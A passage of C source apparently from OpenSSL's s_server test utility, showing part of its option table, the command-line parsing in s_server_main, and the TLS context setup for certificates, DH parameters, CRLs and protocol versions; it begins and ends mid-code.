OPT_STATUS, '-', "Request certificate status from server"}, {"status_verbose", OPT_STATUS_VERBOSE, '-', "Print more output in certificate status callback"}, {"status_timeout", OPT_STATUS_TIMEOUT, 'n', "Status request responder timeout"}, {"status_url", OPT_STATUS_URL, 's', "Status request fallback URL"}, {"status_file", OPT_STATUS_FILE, '<', "File containing DER encoded OCSP Response"}, #endif #ifndef OPENSSL_NO_SSL_TRACE {"trace", OPT_TRACE, '-', "trace protocol messages"}, #endif {"security_debug", OPT_SECURITY_DEBUG, '-', "Print output from SSL/TLS security framework"}, {"security_debug_verbose", OPT_SECURITY_DEBUG_VERBOSE, '-', "Print more output from SSL/TLS security framework"}, {"brief", OPT_BRIEF, '-', "Restrict output to brief summary of connection parameters"}, {"rev", OPT_REV, '-', "act as a simple test server which just sends back with the received text reversed"}, {"async", OPT_ASYNC, '-', "Operate in asynchronous mode"}, {"ssl_config", OPT_SSL_CONFIG, 's', "Configure SSL_CTX using the configuration 'val'"}, {"max_send_frag", OPT_MAX_SEND_FRAG, 'p', "Maximum Size of send frames "}, {"split_send_frag", OPT_SPLIT_SEND_FRAG, 'p', "Size used to split data for encrypt pipelines"}, {"max_pipelines", OPT_MAX_PIPELINES, 'p', "Maximum number of encrypt/decrypt pipelines to be used"}, {"read_buf", OPT_READ_BUF, 'p', "Default read buffer size to be used for connections"}, OPT_S_OPTIONS, OPT_V_OPTIONS, OPT_X_OPTIONS, {"nbio", OPT_NBIO, '-', "Use non-blocking IO"}, {"psk_identity", OPT_PSK_IDENTITY, 's', "PSK identity to expect"}, #ifndef OPENSSL_NO_PSK {"psk_hint", OPT_PSK_HINT, 's', "PSK identity hint to use"}, #endif {"psk", OPT_PSK, 's', "PSK in hex (without 0x)"}, {"psk_session", OPT_PSK_SESS, '<', "File to read PSK SSL session from"}, #ifndef OPENSSL_NO_SRP {"srpvfile", OPT_SRPVFILE, '<', "The verifier file for SRP"}, {"srpuserseed", OPT_SRPUSERSEED, 's', "A seed string for a default user salt"}, #endif #ifndef OPENSSL_NO_SSL3 {"ssl3", OPT_SSL3, '-', "Just talk SSLv3"}, #endif #ifndef OPENSSL_NO_TLS1 {"tls1", OPT_TLS1, '-', "Just talk TLSv1"}, #endif #ifndef OPENSSL_NO_TLS1_1 {"tls1_1", OPT_TLS1_1, '-', "Just talk TLSv1.1"}, #endif #ifndef OPENSSL_NO_TLS1_2 {"tls1_2", OPT_TLS1_2, '-', "just talk TLSv1.2"}, #endif #ifndef OPENSSL_NO_TLS1_3 {"tls1_3", OPT_TLS1_3, '-', "just talk TLSv1.3"}, #endif #ifndef OPENSSL_NO_DTLS {"dtls", OPT_DTLS, '-', "Use any DTLS version"}, {"timeout", OPT_TIMEOUT, '-', "Enable timeouts"}, {"mtu", OPT_MTU, 'p', "Set link layer MTU"}, {"listen", OPT_LISTEN, '-', "Listen for a DTLS ClientHello with a cookie and then connect"}, #endif {"stateless", OPT_STATELESS, '-', "Require TLSv1.3 cookies"}, #ifndef OPENSSL_NO_DTLS1 {"dtls1", OPT_DTLS1, '-', "Just talk DTLSv1"}, #endif #ifndef OPENSSL_NO_DTLS1_2 {"dtls1_2", OPT_DTLS1_2, '-', "Just talk DTLSv1.2"}, #endif #ifndef OPENSSL_NO_SCTP {"sctp", OPT_SCTP, '-', "Use SCTP"}, #endif #ifndef OPENSSL_NO_DH {"no_dhe", OPT_NO_DHE, '-', "Disable ephemeral DH"}, #endif #ifndef OPENSSL_NO_NEXTPROTONEG {"nextprotoneg", OPT_NEXTPROTONEG, 's', "Set the advertised protocols for the NPN extension (comma-separated list)"}, #endif #ifndef OPENSSL_NO_SRTP {"use_srtp", OPT_SRTP_PROFILES, 's', "Offer SRTP key management with a colon-separated profile list"}, #endif {"alpn", OPT_ALPN, 's', "Set the advertised protocols for the ALPN extension (comma-separated list)"}, #ifndef OPENSSL_NO_ENGINE {"engine", OPT_ENGINE, 's', "Use engine, possibly a hardware device"}, #endif {"keylogfile", OPT_KEYLOG_FILE, '>', "Write TLS secrets to file"}, {"max_early_data", OPT_MAX_EARLY, 'n', "The maximum number of bytes of early data as advertised in tickets"}, {"recv_max_early_data", OPT_RECV_MAX_EARLY, 'n', "The maximum number of bytes of early data (hard limit)"}, {"early_data", OPT_EARLY_DATA, '-', "Attempt to read early data"}, {"num_tickets", OPT_S_NUM_TICKETS, 'n', "The number of TLSv1.3 session tickets that a server will automatically issue" }, {"anti_replay", OPT_ANTI_REPLAY, '-', "Switch on anti-replay protection (default)"}, {"no_anti_replay", OPT_NO_ANTI_REPLAY, '-', "Switch off anti-replay protection"}, {NULL, OPT_EOF, 0, NULL} }; #define IS_PROT_FLAG(o) \ (o == OPT_SSL3 || o == OPT_TLS1 || o == OPT_TLS1_1 || o == OPT_TLS1_2 \ || o == OPT_TLS1_3 || o == OPT_DTLS || o == OPT_DTLS1 || o == OPT_DTLS1_2) int s_server_main(int argc, char *argv[]) { ENGINE *engine = NULL; EVP_PKEY *s_key = NULL, *s_dkey = NULL; SSL_CONF_CTX *cctx = NULL; const SSL_METHOD *meth = TLS_server_method(); SSL_EXCERT *exc = NULL; STACK_OF(OPENSSL_STRING) *ssl_args = NULL; STACK_OF(X509) *s_chain = NULL, *s_dchain = NULL; STACK_OF(X509_CRL) *crls = NULL; X509 *s_cert = NULL, *s_dcert = NULL; X509_VERIFY_PARAM *vpm = NULL; const char *CApath = NULL, *CAfile = NULL, *chCApath = NULL, *chCAfile = NULL; char *dpassarg = NULL, *dpass = NULL; char *passarg = NULL, *pass = NULL, *vfyCApath = NULL, *vfyCAfile = NULL; char *crl_file = NULL, *prog; #ifdef AF_UNIX int unlink_unix_path = 0; #endif do_server_cb server_cb; int vpmtouched = 0, build_chain = 0, no_cache = 0, ext_cache = 0; #ifndef OPENSSL_NO_DH char *dhfile = NULL; int no_dhe = 0; #endif int nocert = 0, ret = 1; int noCApath = 0, noCAfile = 0; int s_cert_format = FORMAT_PEM, s_key_format = FORMAT_PEM; int s_dcert_format = FORMAT_PEM, s_dkey_format = FORMAT_PEM; int rev = 0, naccept = -1, sdebug = 0; int socket_family = AF_UNSPEC, socket_type = SOCK_STREAM, protocol = 0; int state = 0, crl_format = FORMAT_PEM, crl_download = 0; char *host = NULL; char *port = BUF_strdup(PORT); unsigned char *context = NULL; OPTION_CHOICE o; EVP_PKEY *s_key2 = NULL; X509 *s_cert2 = NULL; tlsextctx tlsextcbp = { NULL, NULL, SSL_TLSEXT_ERR_ALERT_WARNING }; const char *ssl_config = NULL; int read_buf_len = 0; #ifndef OPENSSL_NO_NEXTPROTONEG const char *next_proto_neg_in = NULL; tlsextnextprotoctx next_proto = { NULL, 0 }; #endif const char *alpn_in = NULL; tlsextalpnctx alpn_ctx = { NULL, 0 }; #ifndef OPENSSL_NO_PSK /* by default do not send a PSK identity hint */ char *psk_identity_hint = NULL; #endif char *p; #ifndef OPENSSL_NO_SRP char *srpuserseed = NULL; char *srp_verifier_file = NULL; #endif #ifndef OPENSSL_NO_SRTP char *srtp_profiles = NULL; #endif int min_version = 0, max_version = 0, prot_opt = 0, no_prot_opt = 0; int s_server_verify = SSL_VERIFY_NONE; int s_server_session_id_context = 1; /* anything will do */ const char *s_cert_file = TEST_CERT, *s_key_file = NULL, *s_chain_file = NULL; const char *s_cert_file2 = TEST_CERT2, *s_key_file2 = NULL; char *s_dcert_file = NULL, *s_dkey_file = NULL, *s_dchain_file = NULL; #ifndef OPENSSL_NO_OCSP int s_tlsextstatus = 0; #endif int no_resume_ephemeral = 0; unsigned int max_send_fragment = 0; unsigned int split_send_fragment = 0, max_pipelines = 0; const char *s_serverinfo_file = NULL; const char *keylog_file = NULL; int max_early_data = -1, recv_max_early_data = -1; char *psksessf = NULL; /* Init of few remaining global variables */ local_argc = argc; local_argv = argv; ctx = ctx2 = NULL; s_nbio = s_nbio_test = 0; www = 0; bio_s_out = NULL; s_debug = 0; s_msg = 0; s_quiet = 0; s_brief = 0; async = 0; cctx = SSL_CONF_CTX_new(); vpm = X509_VERIFY_PARAM_new(); if (cctx == NULL || vpm == NULL) goto end; SSL_CONF_CTX_set_flags(cctx, SSL_CONF_FLAG_SERVER | SSL_CONF_FLAG_CMDLINE); prog = opt_init(argc, argv, s_server_options); while ((o = opt_next()) != OPT_EOF) { if (IS_PROT_FLAG(o) && ++prot_opt > 1) { BIO_printf(bio_err, "Cannot supply multiple protocol flags\n"); goto end; } if (IS_NO_PROT_FLAG(o)) no_prot_opt++; if (prot_opt == 1 && no_prot_opt) { BIO_printf(bio_err, "Cannot supply both a protocol flag and '-no_<prot>'\n"); goto end; } switch (o) { case OPT_EOF: case OPT_ERR: opthelp: BIO_printf(bio_err, "%s: Use -help for summary.\n", prog); goto end; case OPT_HELP: opt_help(s_server_options); ret = 0; goto end; case OPT_4: #ifdef AF_UNIX if (socket_family == AF_UNIX) { OPENSSL_free(host); host = NULL; OPENSSL_free(port); port = NULL; } #endif socket_family = AF_INET; break; case OPT_6: if (1) { #ifdef AF_INET6 #ifdef AF_UNIX if (socket_family == AF_UNIX) { OPENSSL_free(host); host = NULL; OPENSSL_free(port); port = NULL; } #endif socket_family = AF_INET6; } else { #endif BIO_printf(bio_err, "%s: IPv6 domain sockets unsupported\n", prog); goto end; } break; case OPT_PORT: #ifdef AF_UNIX if (socket_family == AF_UNIX) { socket_family = AF_UNSPEC; } #endif OPENSSL_free(port); port = NULL; OPENSSL_free(host); host = NULL; if (BIO_parse_hostserv(opt_arg(), NULL, &port, BIO_PARSE_PRIO_SERV) < 1) { BIO_printf(bio_err, "%s: -port argument malformed or ambiguous\n", port); goto end; } break; case OPT_ACCEPT: #ifdef AF_UNIX if (socket_family == AF_UNIX) { socket_family = AF_UNSPEC; } #endif OPENSSL_free(port); port = NULL; OPENSSL_free(host); host = NULL; if (BIO_parse_hostserv(opt_arg(), &host, &port, BIO_PARSE_PRIO_SERV) < 1) { BIO_printf(bio_err, "%s: -accept argument malformed or ambiguous\n", port); goto end; } break; #ifdef AF_UNIX case OPT_UNIX: socket_family = AF_UNIX; OPENSSL_free(host); host = BUF_strdup(opt_arg()); OPENSSL_free(port); port = NULL; break; case OPT_UNLINK: unlink_unix_path = 1; break; #endif case OPT_NACCEPT: naccept = atol(opt_arg()); break; case OPT_VERIFY: s_server_verify = SSL_VERIFY_PEER | SSL_VERIFY_CLIENT_ONCE; verify_args.depth = atoi(opt_arg()); if (!s_quiet) BIO_printf(bio_err, "verify depth is %d\n", verify_args.depth); break; case OPT_UPPER_V_VERIFY: s_server_verify = SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT | SSL_VERIFY_CLIENT_ONCE; verify_args.depth = atoi(opt_arg()); if (!s_quiet) BIO_printf(bio_err, "verify depth is %d, must return a certificate\n", verify_args.depth); break; case OPT_CONTEXT: context = (unsigned char *)opt_arg(); break; case OPT_CERT: s_cert_file = opt_arg(); break; case OPT_NAMEOPT: if (!set_nameopt(opt_arg())) goto end; break; case OPT_CRL: crl_file = opt_arg(); break; case OPT_CRL_DOWNLOAD: crl_download = 1; break; case OPT_SERVERINFO: s_serverinfo_file = opt_arg(); break; case OPT_CERTFORM: if (!opt_format(opt_arg(), OPT_FMT_PEMDER, &s_cert_format)) goto opthelp; break; case OPT_KEY: s_key_file = opt_arg(); break; case OPT_KEYFORM: if (!opt_format(opt_arg(), OPT_FMT_ANY, &s_key_format)) goto opthelp; break; case OPT_PASS: passarg = opt_arg(); break; case OPT_CERT_CHAIN: s_chain_file = opt_arg(); break; case OPT_DHPARAM: #ifndef OPENSSL_NO_DH dhfile = opt_arg(); #endif break; case OPT_DCERTFORM: if (!opt_format(opt_arg(), OPT_FMT_PEMDER, &s_dcert_format)) goto opthelp; break; case OPT_DCERT: s_dcert_file = opt_arg(); break; case OPT_DKEYFORM: if (!opt_format(opt_arg(), OPT_FMT_PEMDER, &s_dkey_format)) goto opthelp; break; case OPT_DPASS: dpassarg = opt_arg(); break; case OPT_DKEY: s_dkey_file = opt_arg(); break; case OPT_DCERT_CHAIN: s_dchain_file = opt_arg(); break; case OPT_NOCERT: nocert = 1; break; case OPT_CAPATH: CApath = opt_arg(); break; case OPT_NOCAPATH: noCApath = 1; break; case OPT_CHAINCAPATH: chCApath = opt_arg(); break; case OPT_VERIFYCAPATH: vfyCApath = opt_arg(); break; case OPT_NO_CACHE: no_cache = 1; break; case OPT_EXT_CACHE: ext_cache = 1; break; case OPT_CRLFORM: if (!opt_format(opt_arg(), OPT_FMT_PEMDER, &crl_format)) goto opthelp; break; case OPT_S_CASES: case OPT_S_NUM_TICKETS: case OPT_ANTI_REPLAY: case OPT_NO_ANTI_REPLAY: if (ssl_args == NULL) ssl_args = sk_OPENSSL_STRING_new_null(); if (ssl_args == NULL || !sk_OPENSSL_STRING_push(ssl_args, opt_flag()) || !sk_OPENSSL_STRING_push(ssl_args, opt_arg())) { BIO_printf(bio_err, "%s: Memory allocation failure\n", prog); goto end; } break; case OPT_V_CASES: if (!opt_verify(o, vpm)) goto end; vpmtouched++; break; case OPT_X_CASES: if (!args_excert(o, &exc)) goto end; break; case OPT_VERIFY_RET_ERROR: verify_args.return_error = 1; break; case OPT_VERIFY_QUIET: verify_args.quiet = 1; break; case OPT_BUILD_CHAIN: build_chain = 1; break; case OPT_CAFILE: CAfile = opt_arg(); break; case OPT_NOCAFILE: noCAfile = 1; break; case OPT_CHAINCAFILE: chCAfile = opt_arg(); break; case OPT_VERIFYCAFILE: vfyCAfile = opt_arg(); break; case OPT_NBIO: s_nbio = 1; break; case OPT_NBIO_TEST: s_nbio = s_nbio_test = 1; break; case OPT_IGN_EOF: s_ign_eof = 1; break; case OPT_NO_IGN_EOF: s_ign_eof = 0; break; case OPT_DEBUG: s_debug = 1; break; case OPT_TLSEXTDEBUG: s_tlsextdebug = 1; break; case OPT_STATUS: #ifndef OPENSSL_NO_OCSP s_tlsextstatus = 1; #endif break; case OPT_STATUS_VERBOSE: #ifndef OPENSSL_NO_OCSP s_tlsextstatus = tlscstatp.verbose = 1; #endif break; case OPT_STATUS_TIMEOUT: #ifndef OPENSSL_NO_OCSP s_tlsextstatus = 1; tlscstatp.timeout = atoi(opt_arg()); #endif break; case OPT_STATUS_URL: #ifndef OPENSSL_NO_OCSP s_tlsextstatus = 1; if (!OCSP_parse_url(opt_arg(), &tlscstatp.host, &tlscstatp.port, &tlscstatp.path, &tlscstatp.use_ssl)) { BIO_printf(bio_err, "Error parsing URL\n"); goto end; } #endif break; case OPT_STATUS_FILE: #ifndef OPENSSL_NO_OCSP s_tlsextstatus = 1; tlscstatp.respin = opt_arg(); #endif break; case OPT_MSG: s_msg = 1; break; case OPT_MSGFILE: bio_s_msg = BIO_new_file(opt_arg(), "w"); break; case OPT_TRACE: #ifndef OPENSSL_NO_SSL_TRACE s_msg = 2; #endif break; case OPT_SECURITY_DEBUG: sdebug = 1; break; case OPT_SECURITY_DEBUG_VERBOSE: sdebug = 2; break; case OPT_STATE: state = 1; break; case OPT_CRLF: s_crlf = 1; break; case OPT_QUIET: s_quiet = 1; break; case OPT_BRIEF: s_quiet = s_brief = verify_args.quiet = 1; break; case OPT_NO_DHE: #ifndef OPENSSL_NO_DH no_dhe = 1; #endif break; case OPT_NO_RESUME_EPHEMERAL: no_resume_ephemeral = 1; break; case OPT_PSK_IDENTITY: psk_identity = opt_arg(); break; case OPT_PSK_HINT: #ifndef OPENSSL_NO_PSK psk_identity_hint = opt_arg(); #endif break; case OPT_PSK: for (p = psk_key = opt_arg(); *p; p++) { if (isxdigit(_UC(*p))) continue; BIO_printf(bio_err, "Not a hex number '%s'\n", psk_key); goto end; } break; case OPT_PSK_SESS: psksessf = opt_arg(); break; case OPT_SRPVFILE: #ifndef OPENSSL_NO_SRP srp_verifier_file = opt_arg(); if (min_version < TLS1_VERSION) min_version = TLS1_VERSION; #endif break; case OPT_SRPUSERSEED: #ifndef OPENSSL_NO_SRP srpuserseed = opt_arg(); if (min_version < TLS1_VERSION) min_version = TLS1_VERSION; #endif break; case OPT_REV: rev = 1; break; case OPT_WWW: www = 1; break; case OPT_UPPER_WWW: www = 2; break; case OPT_HTTP: www = 3; break; case OPT_SSL_CONFIG: ssl_config = opt_arg(); break; case OPT_SSL3: min_version = SSL3_VERSION; max_version = SSL3_VERSION; break; case OPT_TLS1_3: min_version = TLS1_3_VERSION; max_version = TLS1_3_VERSION; break; case OPT_TLS1_2: min_version = TLS1_2_VERSION; max_version = TLS1_2_VERSION; break; case OPT_TLS1_1: min_version = TLS1_1_VERSION; max_version = TLS1_1_VERSION; break; case OPT_TLS1: min_version = TLS1_VERSION; max_version = TLS1_VERSION; break; case OPT_DTLS: #ifndef OPENSSL_NO_DTLS meth = DTLS_server_method(); socket_type = SOCK_DGRAM; #endif break; case OPT_DTLS1: #ifndef OPENSSL_NO_DTLS meth = DTLS_server_method(); min_version = DTLS1_VERSION; max_version = DTLS1_VERSION; socket_type = SOCK_DGRAM; #endif break; case OPT_DTLS1_2: #ifndef OPENSSL_NO_DTLS meth = DTLS_server_method(); min_version = DTLS1_2_VERSION; max_version = DTLS1_2_VERSION; socket_type = SOCK_DGRAM; #endif break; case OPT_SCTP: #ifndef OPENSSL_NO_SCTP protocol = IPPROTO_SCTP; #endif break; case OPT_TIMEOUT: #ifndef OPENSSL_NO_DTLS enable_timeouts = 1; #endif break; case OPT_MTU: #ifndef OPENSSL_NO_DTLS socket_mtu = atol(opt_arg()); #endif break; case OPT_LISTEN: #ifndef OPENSSL_NO_DTLS dtlslisten = 1; #endif break; case OPT_STATELESS: stateless = 1; break; case OPT_ID_PREFIX: session_id_prefix = opt_arg(); break; case OPT_ENGINE: engine = setup_engine(opt_arg(), 1); break; case OPT_R_CASES: if (!opt_rand(o)) goto end; break; case OPT_SERVERNAME: tlsextcbp.servername = opt_arg(); break; case OPT_SERVERNAME_FATAL: tlsextcbp.extension_error = SSL_TLSEXT_ERR_ALERT_FATAL; break; case OPT_CERT2: s_cert_file2 = opt_arg(); break; case OPT_KEY2: s_key_file2 = opt_arg(); break; case OPT_NEXTPROTONEG: # ifndef OPENSSL_NO_NEXTPROTONEG next_proto_neg_in = opt_arg(); #endif break; case OPT_ALPN: alpn_in = opt_arg(); break; case OPT_SRTP_PROFILES: #ifndef OPENSSL_NO_SRTP srtp_profiles = opt_arg(); #endif break; case OPT_KEYMATEXPORT: keymatexportlabel = opt_arg(); break; case OPT_KEYMATEXPORTLEN: keymatexportlen = atoi(opt_arg()); break; case OPT_ASYNC: async = 1; break; case OPT_MAX_SEND_FRAG: max_send_fragment = atoi(opt_arg()); break; case OPT_SPLIT_SEND_FRAG: split_send_fragment = atoi(opt_arg()); break; case OPT_MAX_PIPELINES: max_pipelines = atoi(opt_arg()); break; case OPT_READ_BUF: read_buf_len = atoi(opt_arg()); break; case OPT_KEYLOG_FILE: keylog_file = opt_arg(); break; case OPT_MAX_EARLY: max_early_data = atoi(opt_arg()); if (max_early_data < 0) { BIO_printf(bio_err, "Invalid value for max_early_data\n"); goto end; } break; case OPT_RECV_MAX_EARLY: recv_max_early_data = atoi(opt_arg()); if (recv_max_early_data < 0) { BIO_printf(bio_err, "Invalid value for recv_max_early_data\n"); goto end; } break; case OPT_EARLY_DATA: early_data = 1; if (max_early_data == -1) max_early_data = SSL3_RT_MAX_PLAIN_LENGTH; break; } } argc = opt_num_rest(); argv = opt_rest(); #ifndef OPENSSL_NO_NEXTPROTONEG if (min_version == TLS1_3_VERSION && next_proto_neg_in != NULL) { BIO_printf(bio_err, "Cannot supply -nextprotoneg with TLSv1.3\n"); goto opthelp; } #endif #ifndef OPENSSL_NO_DTLS if (www && socket_type == SOCK_DGRAM) { BIO_printf(bio_err, "Can't use -HTTP, -www or -WWW with DTLS\n"); goto end; } if (dtlslisten && socket_type != SOCK_DGRAM) { BIO_printf(bio_err, "Can only use -listen with DTLS\n"); goto end; } #endif if (stateless && socket_type != SOCK_STREAM) { BIO_printf(bio_err, "Can only use --stateless with TLS\n"); goto end; } #ifdef AF_UNIX if (socket_family == AF_UNIX && socket_type != SOCK_STREAM) { BIO_printf(bio_err, "Can't use unix sockets and datagrams together\n"); goto end; } #endif if (early_data && (www > 0 || rev)) { BIO_printf(bio_err, "Can't use -early_data in combination with -www, -WWW, -HTTP, or -rev\n"); goto end; } #ifndef OPENSSL_NO_SCTP if (protocol == IPPROTO_SCTP) { if (socket_type != SOCK_DGRAM) { BIO_printf(bio_err, "Can't use -sctp without DTLS\n"); goto end; } /* SCTP is unusual. It uses DTLS over a SOCK_STREAM protocol */ socket_type = SOCK_STREAM; } #endif if (!app_passwd(passarg, dpassarg, &pass, &dpass)) { BIO_printf(bio_err, "Error getting password\n"); goto end; } if (s_key_file == NULL) s_key_file = s_cert_file; if (s_key_file2 == NULL) s_key_file2 = s_cert_file2; if (!load_excert(&exc)) goto end; if (nocert == 0) { s_key = load_key(s_key_file, s_key_format, 0, pass, engine, "server certificate private key file"); if (s_key == NULL) { ERR_print_errors(bio_err); goto end; } s_cert = load_cert(s_cert_file, s_cert_format, "server certificate file"); if (s_cert == NULL) { ERR_print_errors(bio_err); goto end; } if (s_chain_file != NULL) { if (!load_certs(s_chain_file, &s_chain, FORMAT_PEM, NULL, "server certificate chain")) goto end; } if (tlsextcbp.servername != NULL) { s_key2 = load_key(s_key_file2, s_key_format, 0, pass, engine, "second server certificate private key file"); if (s_key2 == NULL) { ERR_print_errors(bio_err); goto end; } s_cert2 = load_cert(s_cert_file2, s_cert_format, "second server certificate file"); if (s_cert2 == NULL) { ERR_print_errors(bio_err); goto end; } } } #if !defined(OPENSSL_NO_NEXTPROTONEG) if (next_proto_neg_in) { next_proto.data = next_protos_parse(&next_proto.len, next_proto_neg_in); if (next_proto.data == NULL) goto end; } #endif alpn_ctx.data = NULL; if (alpn_in) { alpn_ctx.data = next_protos_parse(&alpn_ctx.len, alpn_in); if (alpn_ctx.data == NULL) goto end; } if (crl_file != NULL) { X509_CRL *crl; crl = load_crl(crl_file, crl_format); if (crl == NULL) { BIO_puts(bio_err, "Error loading CRL\n"); ERR_print_errors(bio_err); goto end; } crls = sk_X509_CRL_new_null(); if (crls == NULL || !sk_X509_CRL_push(crls, crl)) { BIO_puts(bio_err, "Error adding CRL\n"); ERR_print_errors(bio_err); X509_CRL_free(crl); goto end; } } if (s_dcert_file != NULL) { if (s_dkey_file == NULL) s_dkey_file = s_dcert_file; s_dkey = load_key(s_dkey_file, s_dkey_format, 0, dpass, engine, "second certificate private key file"); if (s_dkey == NULL) { ERR_print_errors(bio_err); goto end; } s_dcert = load_cert(s_dcert_file, s_dcert_format, "second server certificate file"); if (s_dcert == NULL) { ERR_print_errors(bio_err); goto end; } if (s_dchain_file != NULL) { if (!load_certs(s_dchain_file, &s_dchain, FORMAT_PEM, NULL, "second server certificate chain")) goto end; } } if (bio_s_out == NULL) { if (s_quiet && !s_debug) { bio_s_out = BIO_new(BIO_s_null()); if (s_msg && bio_s_msg == NULL) bio_s_msg = dup_bio_out(FORMAT_TEXT); } else { if (bio_s_out == NULL) bio_s_out = dup_bio_out(FORMAT_TEXT); } } #if !defined(OPENSSL_NO_RSA) || !defined(OPENSSL_NO_DSA) || !defined(OPENSSL_NO_EC) if (nocert) #endif { s_cert_file = NULL; s_key_file = NULL; s_dcert_file = NULL; s_dkey_file = NULL; s_cert_file2 = NULL; s_key_file2 = NULL; } ctx = SSL_CTX_new(meth); if (ctx == NULL) { ERR_print_errors(bio_err); goto end; } SSL_CTX_clear_mode(ctx, SSL_MODE_AUTO_RETRY); if (sdebug) ssl_ctx_security_debug(ctx, sdebug); if (!config_ctx(cctx, ssl_args, ctx)) goto end; if (ssl_config) { if (SSL_CTX_config(ctx, ssl_config) == 0) { BIO_printf(bio_err, "Error using configuration \"%s\"\n", ssl_config); ERR_print_errors(bio_err); goto end; } } if (min_version != 0 && SSL_CTX_set_min_proto_version(ctx, min_version) == 0) goto end; if (max_version != 0 && SSL_CTX_set_max_proto_version(ctx, max_version) == 0) goto end; if (session_id_prefix) { if (strlen(session_id_prefix) >= 32) BIO_printf(bio_err, "warning: id_prefix is too long, only one new session will be possible\n"); if (!SSL_CTX_set_generate_session_id(ctx, generate_session_id)) { BIO_printf(bio_err, "error setting 'id_prefix'\n"); ERR_print_errors(bio_err); goto end; } BIO_printf(bio_err, "id_prefix '%s' set.\n", session_id_prefix); } SSL_CTX_set_quiet_shutdown(ctx, 1); if (exc != NULL) ssl_ctx_set_excert(ctx, exc); if (state) SSL_CTX_set_info_callback(ctx, apps_ssl_info_callback); if (no_cache) SSL_CTX_set_session_cache_mode(ctx, SSL_SESS_CACHE_OFF); else if (ext_cache) init_session_cache_ctx(ctx); else SSL_CTX_sess_set_cache_size(ctx, 128); if (async) { SSL_CTX_set_mode(ctx, SSL_MODE_ASYNC); } if (max_send_fragment > 0 && !SSL_CTX_set_max_send_fragment(ctx, max_send_fragment)) { BIO_printf(bio_err, "%s: Max send fragment size %u is out of permitted range\n", prog, max_send_fragment); goto end; } if (split_send_fragment > 0 && !SSL_CTX_set_split_send_fragment(ctx, split_send_fragment)) { BIO_printf(bio_err, "%s: Split send fragment size %u is out of permitted range\n", prog, split_send_fragment); goto end; } if (max_pipelines > 0 && !SSL_CTX_set_max_pipelines(ctx, max_pipelines)) { BIO_printf(bio_err, "%s: Max pipelines %u is out of permitted range\n", prog, max_pipelines); goto end; } if (read_buf_len > 0) { SSL_CTX_set_default_read_buffer_len(ctx, read_buf_len); } #ifndef OPENSSL_NO_SRTP if (srtp_profiles != NULL) { /* Returns 0 on success! */ if (SSL_CTX_set_tlsext_use_srtp(ctx, srtp_profiles) != 0) { BIO_printf(bio_err, "Error setting SRTP profile\n"); ERR_print_errors(bio_err); goto end; } } #endif if (!ctx_set_verify_locations(ctx, CAfile, CApath, noCAfile, noCApath)) { ERR_print_errors(bio_err); goto end; } if (vpmtouched && !SSL_CTX_set1_param(ctx, vpm)) { BIO_printf(bio_err, "Error setting verify params\n"); ERR_print_errors(bio_err); goto end; } ssl_ctx_add_crls(ctx, crls, 0); if (!ssl_load_stores(ctx, vfyCApath, vfyCAfile, chCApath, chCAfile, crls, crl_download)) { BIO_printf(bio_err, "Error loading store locations\n"); ERR_print_errors(bio_err); goto end; } if (s_cert2) { ctx2 = SSL_CTX_new(meth); if (ctx2 == NULL) { ERR_print_errors(bio_err); goto end; } } if (ctx2 != NULL) { BIO_printf(bio_s_out, "Setting secondary ctx parameters\n"); if (sdebug) ssl_ctx_security_debug(ctx, sdebug); if (session_id_prefix) { if (strlen(session_id_prefix) >= 32) BIO_printf(bio_err, "warning: id_prefix is too long, only one new session will be possible\n"); if (!SSL_CTX_set_generate_session_id(ctx2, generate_session_id)) { BIO_printf(bio_err, "error setting 'id_prefix'\n"); ERR_print_errors(bio_err); goto end; } BIO_printf(bio_err, "id_prefix '%s' set.\n", session_id_prefix); } SSL_CTX_set_quiet_shutdown(ctx2, 1); if (exc != NULL) ssl_ctx_set_excert(ctx2, exc); if (state) SSL_CTX_set_info_callback(ctx2, apps_ssl_info_callback); if (no_cache) SSL_CTX_set_session_cache_mode(ctx2, SSL_SESS_CACHE_OFF); else if (ext_cache) init_session_cache_ctx(ctx2); else SSL_CTX_sess_set_cache_size(ctx2, 128); if (async) SSL_CTX_set_mode(ctx2, SSL_MODE_ASYNC); if (!ctx_set_verify_locations(ctx2, CAfile, CApath, noCAfile, noCApath)) { ERR_print_errors(bio_err); goto end; } if (vpmtouched && !SSL_CTX_set1_param(ctx2, vpm)) { BIO_printf(bio_err, "Error setting verify params\n"); ERR_print_errors(bio_err); goto end; } ssl_ctx_add_crls(ctx2, crls, 0); if (!config_ctx(cctx, ssl_args, ctx2)) goto end; } #ifndef OPENSSL_NO_NEXTPROTONEG if (next_proto.data) SSL_CTX_set_next_protos_advertised_cb(ctx, next_proto_cb, &next_proto); #endif if (alpn_ctx.data) SSL_CTX_set_alpn_select_cb(ctx, alpn_cb, &alpn_ctx); #ifndef OPENSSL_NO_DH if (!no_dhe) { DH *dh = NULL; if (dhfile != NULL) dh = load_dh_param(dhfile); else if (s_cert_file != NULL) dh = load_dh_param(s_cert_file); if (dh != NULL) { BIO_printf(bio_s_out, "Setting temp DH parameters\n"); } else { BIO_printf(bio_s_out, "Using default temp DH parameters\n"); } (void)BIO_flush(bio_s_out); if (dh == NULL) { SSL_CTX_set_dh_auto(ctx, 1); } else if (!SSL_CTX_set_tmp_dh(ctx, dh)) { BIO_puts(bio_err, "Error setting temp DH parameters\n"); ERR_print_errors(bio_err); DH_free(dh); goto end; } if (ctx2 != NULL) { if (!dhfile) { DH *dh2 = load_dh_param(s_cert_file2); if (dh2 != NULL) { BIO_printf(bio_s_out, "Setting temp DH parameters\n"); (void)BIO_flush(bio_s_out); DH_free(dh); dh = dh2; } } if (dh == NULL) { SSL_CTX_set_dh_auto(ctx2, 1); } else if (!SSL_CTX_set_tmp_dh(ctx2, dh)) { BIO_puts(bio_err, "Error setting temp DH parameters\n"); ERR_print_errors(bio_err); DH_free(dh); goto end; } } DH_free(dh); } #endif if (!set_cert_key_stuff(ctx, s_cert, s_key, s_chain, build_chain)) goto end; if (s_serverinfo_file != NULL && !SSL_CTX_use_serverinfo_file(ctx, s_serverinfo_file)) { ERR_print_errors(bio_err); goto end; } if (ctx2 != NULL && !set_cert_key_stuff(ctx2, s_cert2, s_key2, NULL, build_chain)) goto end; if (s_dcert != NULL) { if (!set_cert_key_stuff(ctx, s_dcert, s_dkey, s_dchain, build_chain)) goto end; } if (no_resume_ephemeral) { SSL_CTX_set_not_resumable_session_callback(ctx, not_resumable_sess_cb); if (ctx2 != NULL) SSL_CTX_set_not_resumable_session_callback(ctx2, not_resumable_sess_cb); } #ifndef OPENSSL_NO_PSK if 